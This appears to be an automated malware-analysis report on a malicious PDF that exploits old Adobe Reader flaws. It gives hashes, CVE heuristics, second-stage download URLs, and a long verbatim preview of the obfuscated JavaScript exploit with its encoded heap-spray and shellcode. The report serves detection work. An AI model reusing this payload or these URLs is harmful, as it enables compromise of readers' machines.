PDF malware analysis — malicious · 784a0e7266fb4cae

MALICIOUS

PDF

76.2 KB Created: 2009-12-14 19:41:02 Authoring application: PDF Library 10.5.3 (via PDF Library 3.3.2) First seen: 2026-05-10

MD5: 598a7e15e4651c6012aa8ccbd588bedb SHA-1: f819bbfe86e3244dbbbec52cf6237d2626d69b38 SHA-256: 784a0e7266fb4cae8f057c5905022534b264a5264788a8524d91752b7cbde908

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that leverages multiple CVEs to execute shellcode. This shellcode is designed to download and execute a second-stage payload from the URLs found in the heuristics. The use of specific CVEs and the obfuscation techniques point to a known exploit kit pattern.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/qsuw2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/ackptv2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/bgkp2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38524 bytes
SHA-256: `c5faa61c8e3eaee74feb6f80afe5abdff5c83ed0a0191c85851a94394bc99aff`
Preview script First 1,000 lines of the extracted script var ozxh='';anqv='';bikw="bikw";cdkswy=true;himpry="";dghu="dghu";abhs="";elmoqy="";abelv="abelv";var gmqtxy='',agqs=35508,bgpqu=false,tkazdi='',jopuvy=0,aiwx=String,lzsck=aiwx['fUrIoUmUCchpaIrBCUoUdUep'.replace(/[pBIcU]/g,'')],moqwy=String,fkpv=moqwy['eSv9aAlS'.replace(/[SAV93]/g,'')],deltv="7",jzqrh="",fstuv=[68,65,64,157,172,165,154,171,160,166,165,87,157,160,175,150,160,171,95,176,152,169,170,167,99,87,163,156,165,96,178,68,65,64,64,174,159,160,163,156,87,95,176,152,169,170,167,101,163,156,165,158,171,159,87,97,87,105,87,115,87,163,156,165,96,178,68,65,64,64,64,176,152,169,170,167,87,98,116,87,176,152,169,170,167,114,68,65,64,64,180,68,65,64,64,176,152,169,170,167,87,116,87,176,152,169,170,167,101,170,172,153,170,171,169,160,165,158,95,103,99,87,163,156,165,102,105,96,114,68,65,64,64,169,156,171,172,169,165,87,176,152,169,170,167,114,68,65,64,180,68,65,68,65,64,157,172,165,154,171,160,166,165,87,172,171,160,163,150,167,169,160,165,171,157,95,96,178,68,65,64,64,173,152,169,87,167,152,176,163,166,152,155,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,124,121,124,112,92,172,103,103,103,104,92,172,108,109,103,103,92,172,120,104,109,107,92,172,103,103,106,103,92,172,103,103,103,103,92,172,107,103,111,121,92,172,111,121,103,122,92,172,104,122,110,103,92,172,111,121,120,123,92,172,103,111,107,103,92,172,122,106,108,124,92,172,111,121,108,108,92,172,111,121,124,122,92,172,103,111,107,108,92,172,106,106,108,105,92,172,122,104,123,105,92,172,103,106,122,105,92,172,104,103,106,105,92,172,111,103,107,103,92,172,103,103,106,111,92,172,125,108,110,108,92,172,122,105,111,121,92,172,108,123,108,120,92,172,103,107,122,105,92,172,108,108,103,103,92,172,124,122,111,121,92,172,108,104,108,104,92,172,108,109,108,106,92,172,109,103,108,110,92,172,108,123,111,121,92,172,106,106,103,111,92,172,111,121,122,103,92,172,103,122,110,108,92,172,125,124,111,121,92,172,110,109,103,106,92,172,111,121,106,122,92,172,110,111,107,124,92,172,122,125,103,106,92,172,108,104,111,121,92,172,108,105,104,122,92,172,108,104,111,121,92,172,108,105,105,107,92,172,110,104,111,121,92,172,107,124,104,107,92,172,110,108,111,112,92,172,111,121,125,122,92,172,105,103,110,104,92,172,125,110,103,106,92,172,107,120,112,112,92,172,107,105,120,123,92,172,106,121,109,103,92,172,125,122,108,108,92,172,103,107,110,108,92,172,122,103,106,106,92,172,106,110,124,121,92,172,125,125,106,106,92,172,107,108,103,106,92,172,112,110,103,122,92,172,122,125,111,121,92,172,110,108,120,124,92,172,105,121,125,123,92,172,107,125,125,112,92,172,124,111,108,104,92,172,125,125,112,107,92,172,125,125,125,125,92,172,122,106,106,121,92,172,110,107,109,104,92,172,124,121,103,105,92,172,111,121,123,112,92,172,103,122,107,108,92,172,108,124,112,105,92,172,125,105,103,106,92,172,124,103,123,104,92,172,122,109,103,106,92,172,122,112,106,106,92,172,121,110,103,125,92,172,108,125,103,111,92,172,124,104,122,104,92,172,103,106,103,105,92,172,103,106,122,120,92,172,111,121,122,125,92,172,103,106,103,104,92,172,111,112,122,105,92,172,125,111,107,108,92,172,111,121,109,104,92,172,125,111,107,108,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,124,111,108,104,92,172,125,125,107,112,92,172,125,125,125,125,92,172,109,111,108,103,92,172,109,103,124,111,92,172,103,107,121,125,92,172,109,122,124,111,92,172,125,125,125,125,92,172,106,106,125,125,92,172,108,105,123,105,92,172,125,125,108,105,92,172,103,111,110,108,92,172,123,103,125,125,92,172,107,108,111,112,92,172,111,121,125,122,92,172,125,122,107,108,92,172,122,106,122,112,92,172,111,121,108,108,92,172,111,106,124,122,92,172,103,122,124,122,92,172,107,108,111,123,92,172,108,103,125,107,92,172,107,108,122,109,92,172,110,108,125,107,92,172,107,108,122,109,92,172,110,105,125,108,92,172,107,108,122,109,92,172,109,122,125,109,92,172,107,108,122,109,92,172,109,123,125,110,92,172,107,108,122,109,92,172,109,125,125,111,92,172,107,108,122,109,92,172,109,124,125,112,92,172,107,108,122,109,92,172,105,124,125,120,92,172,107,108,122,109,92,172,109,107,125,121,92,172,107,108,122,109,92,172,109,122,125,122,92,172,107,108,122,109,92,172,109,122,125,123,92,172,107,108,122,109,92,172,103,103,125,124,92,172,120,103,124,111,92,172,125,125,125,125,92,172,108,103,125,125,92,172,108,123,109,111,92,172,104,104,111,120,92,172,124,111,104,109,92,172,125,125,104,108,92,172,125,125,125,125,92,172,122,107,111,106,92,172,111,108,103,122,92,172,110,107,122,103,92,172,109,120,104,108,92,172,109,120,103,103,92,172,125,125,103,103,92,172,103,122,110,108,92,172,110,108,125,125,92,172,109,120,103,111,92,172,125,125,103,103,92,172,111,108,123,103,92,172,110,108,122,103,92,172,107,103,103,106,92,172,122,106,122,112,92,172,122,103,106,106,92,172,122,106,122,112,92,172,106,106,108,110,92,172,111,121,122,103,92,172,105,107,107,122,92,172,111,121,103,122,92,172,105,107,110,122,92,172,125,122,103,111,92,172,120,120,125,106,92,172,122,106,108,125,92,172,107,122,111,121,92,172,103,107,105,107,92,172,106,112,111,103,92,172,111,121,103,103,92,172,110,107,122,104,92,172,107,103,103,109,92,172,106,111,111,103,92,172,110,108,103,103,92,172,105,121,125,120,92,172,122,106,122,104,92,172,111,121,108,108,92,172,111,106,124,122,92,172,109,107,124,122,92,172,111,123,108,106,92,172,125,103,107,108,92,172,106,106,108,110,92,172,108,103,123,121,92,172,107,108,122,109,92,172,109,121,125,103,92,172,107,108,122,109,92,172,109,108,125,104,92,172,107,108,122,109,92,172,110,105,125,105,92,172,107,108,122,109,92,172,109,124,125,106,92,172,107,108,122,109,92,172,109,108,125,107,92,172,107,108,122,109,92,172,109,122,125,108,92,172,107,108,122,109,92,172,106,106,125,109,92,172,107,108,122,109,92,172,106,105,125,110,92,172,107,108,122,109,92,172,105,124,125,111,92,172,107,108,122,109,92,172,109,107,125,112,92,172,107,108,122,109,92,172,109,122,125,120,92,172,107,108,122,109,92,172,109,122,125,121,92,172,108,123,111,111,92,172,124,111,125,122,92,172,125,125,103,121,92,172,125,125,125,125,92,172,109,111,108,103,92,172,107,106,109,111,92,172,111,124,125,112,92,172,111,103,124,111,92,172,125,125,125,124,92,172,111,121,125,125,92,172,111,123,125,111,92,172,112,122,107,108,92,172,107,107,109,120,92,172,124,111,108,103,92,172,125,125,110,124,92,172,125,125,125,125,92,172,107,108,111,123,92,172,109,120,124,103,92,172,108,103,104,103,92,172,110,106,124,111,92,172,125,125,125,125,92,172,111,106,125,125,92,172,104,122,122,107,92,172,107,108,111,123,92,172,108,103,124,103,92,172,107,108,111,123,92,172,108,103,112,122,92,172,108,106,108,106,92,172,108,106,108,106,92,172,108,106,108,106,92,172,110,108,125,125,92,172,122,110,103,111,92,172,112,122,107,108,92,172,103,103,107,107,92,172,103,103,103,103,92,172,125,125,108,106,92,172,108,125,123,110,92,172,121,109,103,125,92,172,108,121,122,103,92,172,122,106,122,112,92,172,111,121,108,108,92,172,108,104,124,122,92,172,108,106,108,104,92,172,108,110,108,109,92,172,107,105,109,120,92,172,110,105,124,111,92,172,103,103,103,103,92,172,111,121,103,103,92,172,106,106,123,111,92,172,111,108,125,109,92,172,108,112,123,121,92,172,107,108,122,110,92,172,109,104,125,111,92,172,109,108,105,124,92,172,122,110,110,111,92,172,125,122,107,108,92,172,103,103,109,108,92,172,103,103,103,103,92,172,108,109,110,124,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,109,92,172,103,103,108,104,92,172,103,103,103,103,92,172,108,103,108,112,92,172,121,104,124,111,92,172,125,125,125,124,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,111,123,106,112,92,172,103,104,107,109,92,172,124,111,108,103,92,172,103,103,106,121,92,172,103,103,103,103,92,172,125,111,111,121,92,172,107,108,111,123,92,172,108,103,125,111,92,172,105,104,124,111,92,172,125,125,125,125,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,108,110,103,122,92,172,103,104,124,111,92,172,125,125,125,125,92,172,108,112,125,125,92,172,107,107,122,109,92,172,125,125,106,111,92,172,108,103,110,106,92,172,107,108,111,123,92,172,125,124,125,111,92,172,108,111,103,103,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,110,92,172,125,124,110,107,92,172,125,125,125,125,92,172,108,112,108,112,92,172,107,109,107,109,92,172,125,106,106,121,92,172,120,120,110,122,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,108,106,108,104,92,172,109,103,109,109,92,172,106,105,121,104,92,172,103,103,124,111,92,172,103,103,103,103,92,172,108,111,103,103,92,172,103,111,106,111,92,172,103,106,110,107,92,172,124,121,107,103,92,172,107,103,125,112,92,172,108,123,111,121,92,172,111,103,103,111,92,172,107,105,125,121,92,172,103,111,110,108,92,172,123,121,106,106,92,172,104,111,111,120,92,172,122,106,111,121,92,172,104,110,124,121,92,172,104,111,106,111,92,172,104,104,110,109,92,172,106,106,107,103,92,172,111,107,122,112,92,172,110,107,123,121,92,172,107,103,103,122,92,172,103,111,106,111,92,172,125,121,110,108,92,172,125,124,107,103,92,172,124,121,122,121,92,172,106,106,125,105,92,172,111,112,122,103,92,172,125,122,107,108,92,172,107,108,111,121,92,172,108,121,125,122,92,172,122,106,122,112,92,172,103,105,106,105,92,172,110,107,109,111,92,172,110,103,110,107,92,172,105,125,106,120,92,172,109,125,105,125,92,172,110,108,110,112,92,172,109,122,109,124,92,172,109,124,109,104,92,172,105,124,109,107,92,172,110,105,109,125,92,172,105,125,109,110,92,172,110,105,109,109,92,172,109,110,109,104,92,172,110,106,110,108,92,172,110,104,105,125,92,172,110,108,110,106,92,172,106,105,110,110,92,172,109,108,105,124,92,172,109,108,110,111,92,172,109,111,103,103,92,172,110,107,110,107,92,172,106,120,110,103,92,172,105,125,105,125,92,172,110,112,109,125,92,172,109,124,110,108,92,172,109,104,109,122,92,172,109,107,109,124,92,172,109,125,105,124,92,172,109,110,110,105,92,172,109,109,105,125,92,172,109,104,110,105,92,172,110,108,109,110,92,172,105,125,110,106,92,172,109,122,109,106,92,172,109,106,109,112,92,172,105,124,109,121,92,172,109,111,110,103,92,172,106,125,110,103,92,172,106,123,110,105,92,172,103,103,103,103,89,96,114,68,65,64,64,173,152,169,87,165,166,167,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,103,120,103,120,92,172,103,120,103,120,92,172,103,120,103,120,92,172,103,120,103,120,89,96,68,65,64,64,173,152,169,87,159,156,152,167,153,163,166,154,162,87,116,87,165,166,167,87,98,87,167,152,176,163,166,152,155,114,68,65,64,64,173,152,169,87,153,160,158,153,163,166,154,162,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,103,120,103,120,92,172,103,120,103,120,89,96,114,68,65,64,64,173,152,169,87,159,156,152,155,156,169,170,160,177,156,87,116,87,105,103,114,68,65,64,64,173,152,169,87,170,167,169,152,176,87,116,87,159,156,152,155,156,169,170,160,177,156,87,98,87,159,156,152,167,153,163,166,154,162,101,163,156,165,158,171,159,114,68,65,64,64,174,159,160,163,156,87,95,153,160,158,153,163,166,154,162,101,163,156,165,158,171,159,87,115,87,170,167,169,152,176,96,178,68,65,64,64,64,153,160,158,153,163,166,154,162,87,98,116,87,153,160,158,153,163,166,154,162,114,68,65,64,64,180,68,65,64,64,173,152,169,87,157,160,163,163,153,163,166,154,162,87,116,87,153,160,158,153,163,166,154,162,101,170,172,153,170,171,169,160,165,158,95,103,99,87,170,167,169,152,176,96,114,68,65,64,64,173,152,169,87,153,163,166,154,162,87,116,87,153,160,158,153,163,166,154,162,101,170,172,153,170,171,169,160,165,158,95,103,99,87,153,160,158,153,163,166,154,162,101,163,156,165,158,171,159,100,170,167,169,152,176,96,114,68,65,64,64,174,159,160,163,156,87,95,153,163,166,154,162,101,163,156,165,158,171,159,98,170,167,169,152,176,87,115,87,103,175,107,103,103,103,103,96,178,68,65,64,64,64,153,163,166,154,162,87,116,87,153,163,166,154,162,87,98,87,153,163,166,154,162,87,98,87,157,160,163,163,153,163,166,154,162,114,68,65,64,64,180,68,65,64,64,173,152,169,87,164,156,164,150,152,169,169,152,176,87,116,87,165,156,174,87,120,169,169,152,176,95,96,114,68,65,64,64,157,166,169,87,95,173,152,169,87,160,87,116,87,103,114,87,160,87,115,87,104,107,103,103,114,87,160,98,98,96,178,68,65,64,64,64,164,156,164,150,152,169,169,152,176,146,160,148,87,116,87,153,163,166,154,162,87,98,87,159,156,152,167,153,163,166,154,162,114,68,65,64,64,180,68,65,64,64,173,152,169,87,165,172,164,87,116,87,104,105,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,114,68,65,64,64,172,171,160,163,101,167,169,160,165,171,157,95,89,92,107,108,103,103,103,157,89,99,87,165,172,164,96,114,68,65,64,180,68,65,68,65,64,157,172,165,154,171,160,166,165,87,154,166,163,163,152,153,150,156,164,152,160,163,95,96,178,68,65,64,64,173,152,169,87,170,159,156,163,163,154,166,155,156,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,124,121,124,112,92,172,103,103,103,104,92,172,108,109,103,103,92,172,120,104,109,107,92,172,103,103,106,103,92,172,103,103,103,103,92,172,107,103,111,121,92,172,111,121,103,122,92,172,104,122,110,103,92,172,111,121,120,123,92,172,103,111,107,103,92,172,122,106,108,124,92,172,111,121,108,108,92,172,111,121,124,122,92,172,103,111,107,108,92,172,106,106,108,105,92,172,122,104,123,105,92,172,103,106,122,105,92,172,104,103,106,105,92,172,111,103,107,103,92,172,103,103,106,111,92,172,125,108,110,108,92,172,122,105,111,121,92,172,108,123,108,120,92,172,103,107,122,105,92,172,108,108,103,103,92,172,124,122,111,121,92,172,108,104,108,104,92,172,108,109,108,106,92,172,109,103,108,110,92,172,108,123,111,121,92,172,106,106,103,111,92,172,111,121,122,103,92,172,103,122,110,108,92,172,125,124,111,121,92,172,110,109,103,106,92,172,111,121,106,122,92,172,110,111,107,124,92,172,122,125,103,106,92,172,108,104,111,121,92,172,108,105,104,122,92,172,108,104,111,121,92,172,108,105,105,107,92,172,110,104,111,121,92,172,107,124,104,107,92,172,110,108,111,112,92,172,111,121,125,122,92,172,105,103,110,104,92,172,125,110,103,106,92,172,107,120,112,112,92,172,107,105,120,123,92,172,106,121,109,103,92,172,125,122,108,108,92,172,103,107,110,108,92,172,122,103,106,106,92,172,106,110,124,121,92,172,125,125,106,106,92,172,107,108,103,106,92,172,112,110,103,122,92,172,122,125,111,121,92,172,110,108,120,124,92,172,105,121,125,123,92,172,107,125,125,112,92,172,124,111,108,104,92,172,125,125,112,107,92,172,125,125,125,125,92,172,122,106,106,121,92,172,110,107,109,104,92,172,124,121,103,105,92,172,111,121,123,112,92,172,103,122,107,108,92,172,108,124,112,105,92,172,125,105,103,106,92,172,124,103,123,104,92,172,122,109,103,106,92,172,122,112,106,106,92,172,121,110,103,125,92,172,108,125,103,111,92,172,124,104,122,104,92,172,103,106,103,105,92,172,103,106,122,120,92,172,111,121,122,125,92,172,103,106,103,104,92,172,111,112,122,105,92,172,125,111,107,108,92,172,111,121,109,104,92,172,125,111,107,108,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,124,111,108,104,92,172,125,125,107,112,92,172,125,125,125,125,92,172,109,111,108,103,92,172,109,103,124,111,92,172,103,107,121,125,92,172,109,122,124,111,92,172,125,125,125,125,92,172,106,106,125,125,92,172,108,105,123,105,92,172,125,125,108,105,92,172,103,111,110,108,92,172,123,103,125,125,92,172,107,108,111,112,92,172,111,121,125,122,92,172,125,122,107,108,92,172,122,106,122,112,92,172,111,121,108,108,92,172,111,106,124,122,92,172,103,122,124,122,92,172,107,108,111,123,92,172,108,103,125,107,92,172,107,108,122,109,92,172,110,108,125,107,92,172,107,108,122,109,92,172,110,105,125,108,92,172,107,108,122,109,92,172,109,122,125,109,92,172,107,108,122,109,92,172,109,123,125,110,92,172,107,108,122,109,92,172,109,125,125,111,92,172,107,108,122,109,92,172,109,124,125,112,92,172,107,108,122,109,92,172,105,124,125,120,92,172,107,108,122,109,92,172,109,107,125,121,92,172,107,108,122,109,92,172,109,122,125,122,92,172,107,108,122,109,92,172,109,122,125,123,92,172,107,108,122,109,92,172,103,103,125,124,92,172,120,103,124,111,92,172,125,125,125,125,92,172,108,103,125,125,92,172,108,123,109,111,92,172,104,104,111,120,92,172,124,111,104,109,92,172,125,125,104,108,92,172,125,125,125,125,92,172,122,107,111,106,92,172,111,108,103,122,92,172,110,107,122,103,92,172,109,120,104,108,92,172,109,120,103,103,92,172,125,125,103,103,92,172,103,122,110,108,92,172,110,108,125,125,92,172,109,120,103,111,92,172,125,125,103,103,92,172,111,108,123,103,92,172,110,108,122,103,92,172,107,103,103,106,92,172,122,106,122,112,92,172,122,103,106,106,92,172,122,106,122,112,92,172,106,106,108,110,92,172,111,121,122,103,92,172,105,107,107,122,92,172,111,121,103,122,92,172,105,107,110,122,92,172,125,122,103,111,92,172,120,120,125,106,92,172,122,106,108,125,92,172,107,122,111,121,92,172,103,107,105,107,92,172,106,112,111,103,92,172,111,121,103,103,92,172,110,107,122,104,92,172,107,103,103,109,92,172,106,111,111,103,92,172,110,108,103,103,92,172,105,121,125,120,92,172,122,106,122,104,92,172,111,121,108,108,92,172,111,106,124,122,92,172,109,107,124,122,92,172,111,123,108,106,92,172,125,103,107,108,92,172,106,106,108,110,92,172,108,103,123,121,92,172,107,108,122,109,92,172,109,121,125,103,92,172,107,108,122,109,92,172,109,108,125,104,92,172,107,108,122,109,92,172,110,105,125,105,92,172,107,108,122,109,92,172,109,124,125,106,92,172,107,108,122,109,92,172,109,108,125,107,92,172,107,108,122,109,92,172,109,122,125,108,92,172,107,108,122,109,92,172,106,106,125,109,92,172,107,108,122,109,92,172,106,105,125,110,92,172,107,108,122,109,92,172,105,124,125,111,92,172,107,108,122,109,92,172,109,107,125,112,92,172,107,108,122,109,92,172,109,122,125,120,92,172,107,108,122,109,92,172,109,122,125,121,92,172,108,123,111,111,92,172,124,111,125,122,92,172,125,125,103,121,92,172,125,125,125,125,92,172,109,111,108,103,92,172,107,106,109,111,92,172,111,124,125,112,92,172,111,103,124,111,92,172,125,125,125,124,92,172,111,121,125,125,92,172,111,123,125,111,92,172,112,122,107,108,92,172,107,107,109,120,92,172,124,111,108,103,92,172,125,125,110,124,92,172,125,125,125,125,92,172,107,108,111,123,92,172,109,120,124,103,92,172,108,103,104,103,92,172,110,106,124,111,92,172,125,125,125,125,92,172,111,106,125,125,92,172,104,122,122,107,92,172,107,108,111,123,92,172,108,103,124,103,92,172,107,108,111,123,92,172,108,103,112,122,92,172,108,106,108,106,92,172,108,106,108,106,92,172,108,106,108,106,92,172,110,108,125,125,92,172,122,110,103,111,92,172,112,122,107,108,92,172,103,103,107,107,92,172,103,103,103,103,92,172,125,125,108,106,92,172,108,125,123,110,92,172,121,109,103,125,92,172,108,121,122,103,92,172,122,106,122,112,92,172,111,121,108,108,92,172,108,104,124,122,92,172,108,106,108,104,92,172,108,110,108,109,92,172,107,105,109,120,92,172,110,105,124,111,92,172,103,103,103,103,92,172,111,121,103,103,92,172,106,106,123,111,92,172,111,108,125,109,92,172,108,112,123,121,92,172,107,108,122,110,92,172,109,104,125,111,92,172,109,108,105,124,92,172,122,110,110,111,92,172,125,122,107,108,92,172,103,103,109,108,92,172,103,103,103,103,92,172,108,109,110,124,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,109,92,172,103,103,108,104,92,172,103,103,103,103,92,172,108,103,108,112,92,172,121,104,124,111,92,172,125,125,125,124,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,111,123,106,112,92,172,103,104,107,109,92,172,124,111,108,103,92,172,103,103,106,121,92,172,103,103,103,103,92,172,125,111,111,121,92,172,107,108,111,123,92,172,108,103,125,111,92,172,105,104,124,111,92,172,125,125,125,125,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,108,110,103,122,92,172,103,104,124,111,92,172,125,125,125,125,92,172,108,112,125,125,92,172,107,107,122,109,92,172,125,125,106,111,92,172,108,103,110,106,92,172,107,108,111,123,92,172,125,124,125,111,92,172,108,111,103,103,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,110,92,172,125,124,110,107,92,172,125,125,125,125,92,172,108,112,108,112,92,172,107,109,107,109,92,172,125,106,106,121,92,172,120,120,110,122,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,108,106,108,104,92,172,109,103,109,109,92,172,106,105,121,104,92,172,103,103,124,111,92,172,103,103,103,103,92,172,108,111,103,103,92,172,103,111,106,111,92,172,103,106,110,107,92,172,124,121,107,103,92,172,107,103,125,112,92,172,108,123,111,121,92,172,111,103,103,111,92,172,107,105,125,121,92,172,103,111,110,108,92,172,123,121,106,106,92,172,104,111,111,120,92,172,122,106,111,121,92,172,104,110,124,121,92,172,104,111,106,111,92,172,104,104,110,109,92,172,106,106,107,103,92,172,111,107,122,112,92,172,110,107,123,121,92,172,107,103,103,122,92,172,103,111,106,111,92,172,125,121,110,108,92,172,125,124,107,103,92,172,124,121,122,121,92,172,106,106,125,105,92,172,111,112,122,103,92,172,125,122,107,108,92,172,107,108,111,121,92,172,108,121,125,122,92,172,122,106,122,112,92,172,103,105,106,105,92,172,110,107,109,111,92,172,110,103,110,107,92,172,105,125,106,120,92,172,109,125,105,125,92,172,110,108,110,112,92,172,109,122,109,124,92,172,109,124,109,104,92,172,105,124,109,107,92,172,110,105,109,125,92,172,105,125,109,110,92,172,110,105,109,109,92,172,109,110,109,104,92,172,110,106,110,108,92,172,109,104,105,125,92,172,109,121,109,106,92,172,110,107,110,103,92,172,106,105,110,109,92,172,109,108,105,124,92,172,109,108,110,111,92,172,109,111,103,103,92,172,110,107,110,107,92,172,106,120,110,103,92,172,105,125,105,125,92,172,110,112,109,125,92,172,109,124,110,108,92,172,109,104,109,122,92,172,109,107,109,124,92,172,109,125,105,124,92,172,109,110,110,105,92,172,109,109,105,125,92,172,109,104,110,105,92,172,110,108,109,110,92,172,105,125,110,106,92,172,109,122,109,106,92,172,109,106,109,112,92,172,105,124,109,121,92,172,109,111,110,103,92,172,106,125,110,103,92,172,106,123,110,105,92,172,103,103,103,103,89,96,114,68,65,64,64,173,152,169,87,164,156,164,150,152,169,169,152,176,87,116,87,165,156,174,87,120,169,169,152,176,95,96,114,68,65,64,64,173,152,169,87,154,154,87,116,87,103,175,103,154,103,154,103,154,103,154,114,68,65,64,64,173,152,169,87,152,155,155,169,87,116,87,103,175,107,103,103,103,103,103,114,68,65,64,64,173,152,169,87,170,154,150,163,156,165,87,116,87,170,159,156,163,163,154,166,155,156,101,163,156,165,158,171,159,87,97,87,105,114,68,65,64,64,173,152,169,87,163,156,165,87,116,87,152,155,155,169,87,100,87,95,170,154,150,163,156,165,98,103,175,106,111,96,114,68,65,64,64,173,152,169,87,176,152,169,170,167,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,112,103,112,103,92,172,112,103,112,103,89,96,114,68,65,64,64,176,152,169,170,167,87,116,87,157,160,175,150,160,171,95,176,152,169,170,167,99,87,163,156,165,96,114,68,65,64,64,173,152,169,87,154,166,172,165,171,105,87,116,87,95,154,154,87,100,87,103,175,107,103,103,103,103,103,96,102,152,155,155,169,114,68,65,64,64,157,166,169,87,95,173,152,169,87,154,166,172,165,171,87,116,87,103,114,87,154,166,172,165,171,87,115,87,154,166,172,165,171,105,114,87,154,166,172,165,171,98,98,96,178,68,65,64,64,64,164,156,164,150,152,169,169,152,176,146,154,166,172,165,171,148,87,116,87,176,152,169,170,167,87,98,87,170,159,156,163,163,154,166,155,156,114,68,65,64